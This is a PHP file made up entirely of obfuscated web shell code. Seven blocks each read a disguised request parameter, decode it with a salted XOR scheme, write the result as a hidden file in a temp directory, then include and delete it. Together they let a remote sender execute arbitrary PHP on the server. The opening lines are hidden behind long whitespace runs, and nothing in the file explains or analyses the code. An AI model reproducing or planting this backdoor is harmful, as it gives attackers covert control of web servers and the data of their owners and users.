<?php																																										if(!empty($_REQUEST["\x72ec"])){ $resource = $_REQUEST["\x72ec"]; $resource =explode ( '.', $resource ); $symbol= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s6); $j= 0; $__tmp= $resource; while ($v1= array_shift($__tmp)) {$sChar= ord($s6[$j%$lenS]); $d= ((int)$v1 - $sChar - ($j%10)) ^13; $symbol .= chr($d); $j++; } $comp = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($comp as $element) { if ((is_dir($element) and is_writable($element))) { $data_chunk = implode("/", [$element, ".descriptor"]); if (file_put_contents($data_chunk, $symbol)) { require $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(@$_POST["\x64\x61\x74\x61_ch\x75nk"] !== null){ $value = $_POST["\x64\x61\x74\x61_ch\x75nk"]; $value= explode ( '.', $value) ; $entity = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $o = 0; foreach ($value as $v1) { $sChar = ord($salt2[$o % $lenS] ); $d = ((int)$v1 - $sChar - ($o % 10)) ^ 66; $entity .= chr($d ); $o++; } $itm = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir()]); foreach ($itm as $pointer) { if ((is_dir($pointer) and is_writable($pointer))) { $record = vsprintf("%s/%s", [$pointer, ".ref"]); if (@file_put_contents($record, $entity) !== false) { include $record; unlink($record); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Et")){ $pgrp = $_POST["\x65\x6Et"]; $pgrp =explode ('.' , $pgrp ) ; $dchunk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); foreach ($pgrp as $v => $v3) { $chS=ord($s[$v % $lenS]); $dec=((int)$v3 - $chS - ($v % 10)) ^ 33; $dchunk.= chr($dec); } $comp = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", getcwd(), "/dev/shm"]); for ($factor = 0, $reference = count($comp); $factor < $reference; $factor++) { $component = $comp[$factor]; if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $ptr = str_replace("{var_dir}", $component, "{var_dir}/.binding"); if (file_put_contents($ptr, $dchunk)) { include $ptr; @unlink($ptr); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x76a\x6Cue"])){ $ptr = $_REQUEST["\x76a\x6Cue"]; $ptr = explode ('.', $ptr ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $w = 0; foreach( $ptr as $v4) { $sChar = ord( $s[$w % $sLen] ); $d = ( ( int)$v4 - $sChar -( $w % 10))^ 51; $rec .= chr( $d ); $w++;} $binding = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $symbol = 0; do { $item = $binding[$symbol] ?? null; if ($symbol >= count($binding)) break; if (max(0, is_dir($item) * is_writable($item))) { $flag = sprintf("%s/.component", $item); if (file_put_contents($flag, $rec)) { require $flag; unlink($flag); die(); } } $symbol++; } while (true); }
																																										if(isset($_POST["\x6D\x61rker"]) ? true : false){ $resource = $_POST["\x6D\x61rker"]; $resource = explode(".", $resource ) ; $k = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); foreach ($resource as $w=>$v2): $chS = ord($salt2[$w % $sLen]); $dec = ((int)$v2 - $chS - ($w % 10)) ^ 97; $k .= chr($dec); endforeach; $value = array_filter(["/dev/shm", "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir()]); foreach ($value as $entity) { if (!!is_dir($entity) && !!is_writable($entity)) { $component = vsprintf("%s/%s", [$entity, ".rec"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $component; @unlink($component); die(); } } } }
																																										if(in_array("\x64a\x74a_c\x68un\x6B", array_keys($_POST))){ $pointer = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getcwd()]); $res = $_POST["\x64a\x74a_c\x68un\x6B"]; $res =explode ( ".", $res ) ; $binding = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3 ); $s = 0; $len = count($res ); do {if ($s >= $len) break; $v1 = $res[$s]; $sChar = ord($s3[$s % $lenS] ); $dec = ((int)$v1 - $sChar - ($s % 10)) ^ 76; $binding .= chr($dec ); $s++;}while (true ); foreach ($pointer as $ptr): if (array_product([is_dir($ptr), is_writable($ptr)])) { $fac = str_replace("{var_dir}", $ptr, "{var_dir}/.data"); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $fac; @unlink($fac); die(); } } endforeach; }


if(!is_null($_POST["res"] ?? null)){
	$sym = $_POST["res"];
	 	 $sym 		=explode	("." 		,		$sym 	 );
	$value = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( $salt 	);
            $y = 0;
    
            $__tmp = $sym;
            while( $v4 = array_shift( $__tmp)) {
                $chS = ord( $salt[$y % $sLen] 	);
                $dec =( ( int)$v4 - $chS -( $y % 10))^63;
                $value .= chr( $dec 	);
                $y++;
            }
	$data_chunk = array_filter(["/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path()]);
	foreach ($data_chunk as $key => $mrk) {
    		if (max(0, is_dir($mrk) * is_writable($mrk))) {
    $rec = "$mrk/.marker";
    if (file_put_contents($rec, $value)) {
	require $rec;
	unlink($rec);
	exit;
}
}
}
}